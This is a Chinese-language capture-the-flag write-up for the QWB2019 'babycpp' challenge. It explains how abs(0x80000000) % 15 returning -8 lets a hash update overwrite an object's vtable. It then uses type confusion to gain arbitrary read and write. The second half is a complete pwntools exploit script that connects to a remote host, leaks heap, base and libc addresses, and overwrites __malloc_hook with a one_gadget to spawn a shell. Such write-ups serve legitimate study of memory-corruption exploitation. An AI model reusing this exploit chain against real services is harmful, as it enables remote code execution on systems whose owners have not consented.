qwb2019-babycpp

介绍

qwb2019的一道题,漏洞利用不难,就是洞藏的有点深,还是队友找出来的。

分析程序

首先说一下漏洞点,updatehash的时候有一个很明显的栈溢出,但是没用,因为溢出的地方就是canary。

但漏洞还是出在这里,v2 = abs(idx) % 15;预期情况v2应该为0-14的一个数,这样就只能写hash了,但是如果输入0x80000000的话,v2的结果就是-8,就可以对hash的前8位进行写了。

漏洞的原因是因为abs(0x80000000)求出来的值还是0x80000000,0x80000000就是-2147483648,但int的最大值是2147483647,已经超出范围了。

求abs的汇编代码如下:

1
2
3
4
5
6
7
.text:0000000000000D0C                 mov     eax, [rbp+idx]
.text:0000000000000D0F mov edx, eax
.text:0000000000000D11 mov eax, edx
.text:0000000000000D13 sar eax, 1Fh
.text:0000000000000D16 mov ecx, edx
.text:0000000000000D18 xor ecx, eax
.text:0000000000000D1A sub ecx, eax

也实验了一下,的确abs(0x80000000),会出现错误的结果。

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char const *argv[])
{
int a = 0x80000000;
printf("%d\n", abs(a) % 15);
return 0;
}

// gcc test.c && ./a.out
// -8

回归正题,程序流程如下:

  1. 单选问题,可以new,set,show和updatehash

  2. 其中new的时候可以选择int Array或者string Array,会初始化一些参数,和一个vtable,因为它们的show和set有区别

  3. 它们的结构体如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    struct intNode{
    void * vtable;
    char hash[16];
    int64 size;
    int64 *content;
    }
    struct strNode{
    void * vtable;
    char hash[16];
    int64 size;
    int64 *xxx;
    }
    struct xxx{
    char *content
    int64 size;
    }
  4. 其中set、show操作比较简单就不赘述了。

利用方式

  1. 漏洞在updateHash的时候,如果你输入的ida为0x80000000,那么hash就会写到vtable处
  2. 由于保护全开,我们即使可以覆盖vtable也没有地址,这里的做法是类型混淆,将strNode的vtable改成intNode的vtable,后三位不同,patial overwrite,1/16的正确几率
  3. 将strNode转为intNode之后,我们就可以控制content指针(直接打印可以获得heap地址),也就是原本的xxx指针,我们只需伪造一个xxx结构体,并将指针只过去,再转回strNode,就可以有任意读和任意写了。
  4. 利用过程如下:
    • 泄漏heap地址
    • 泄漏heap上vtable地址,可以算出base基址
    • 泄漏got表,可以算出libc地址
    • 修改__malloc_hook为one_gadget
    • 再次malloc即可getshell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *
context.log_level = "debug"

def rc(x):
return p.recv(x)

def ru(x):
return p.recvuntil(x)

def se(x):
return p.send(x)

def sl(x):
return p.sendline(x)

def sea(a, b):
return p.sendafter(a, b)

def sla(a, b):
return p.sendlineafter(a, b)

def info_addr(tag, addr):
return p.info(tag + ': {:#x}'.format(addr))

CNT = 0

def new_int():
global CNT
sla("choice:", "0")
sla("choice:", str(1))
hash = CNT
CNT += 1
return hash

def new_str():
global CNT
sla("choice:", "0")
sla("choice:", str(2))
hash = CNT
CNT += 1
return hash

def set_int(hash, idx, val):
sla("choice:", "2")
sea("hash:", p8(hash).ljust(16, "\x00"))
sla("idx:", str(idx))
sla("val:", hex(val))

def show_int(hash, idx):
sla("choice:", "1")
sea("hash:", p8(hash).ljust(16, "\x00"))
sla("idx:", str(idx))

def set_str(hash, idx, size, content, is_new=True):
sla("choice:", "2")
sea("hash:", p8(hash).ljust(16, "\x00"))
sla("idx:", str(idx))
if is_new:
sla("obj:", str(size))
time.sleep(0.1)
se(content)
else:
se(content)

def show_str(hash, idx):
sla("choice:", "1")
sea("hash:", p8(hash).ljust(16, "\x00"))
sla("idx:", str(idx))

def update_hash(old, idx, content):
sla("choice:", "3")
sea("hash:", p8(old).ljust(16, "\x00"))
sla("idx:", str(idx))
sea("hash:", content)


p = remote('117.78.48.182', 32114)
lib64 = './libc-2.27.so'
libc = ELF(lib64)

# 新建一个strNode,转成intNode,
a = new_str()
set_str(a, 0, 0x20, '1'*0x10)
update_hash(a, 0x80000000, '\xe0\x5c')
show_int(a, 0)

# 直接show_int,得到heap地址
p.recvuntil('The value in the array is ')
leak = p.recv(12)
heap_addr = int('0x' + leak, 16)
p.info('heap_addr: %s' % hex(heap_addr))

# 改写指针指向接下来的b中的内容
set_int(a, 0, heap_addr+0x130)

# 用于伪造结构体内容,伪造内容指向heap上的vtable
b = new_str()
payload = p64(heap_addr + 0x51) + p64(0xdeadbeef)
set_str(b, 0, 256, payload)

# 修改a为strNode
update_hash(a, 0x80000000, '\x00\x5d')

# 打印泄漏base地址
show_str(a, 0)
p.recvuntil('Content:')
leak = p.recv(5)
base_addr = u64('\x00'+leak+'\x00\x00') - 0x201d00
p.info('base_addr: %s' % hex(base_addr))

# 修改伪造内容指向got表
set_str(b, 0, 0, p64(base_addr + 0x0000000000201F88), is_new=False)

# 打印泄漏libc地址
show_str(a, 0)
p.recvuntil('Content:')
leak = p.recv(6)
libc_addr = u64(leak.ljust(8, '\x00')) - libc.symbols['setvbuf']
libc.address = libc_addr
p.info('libc_addr: %s' % hex(libc_addr))

# 修改伪造内容指向__malloc_hook
set_str(b, 0, 0, p64(libc.symbols['__malloc_hook']), is_new=False)

# 写a,也就是写__malloc_hook
one_gadget = 0x4f322
set_str(a, 0, 0, p64(libc_addr + one_gadget), is_new=False)

# 再次new,触发__malloc_hook
sla("choice:", "0")
sla("choice:", str(1))

p.interactive()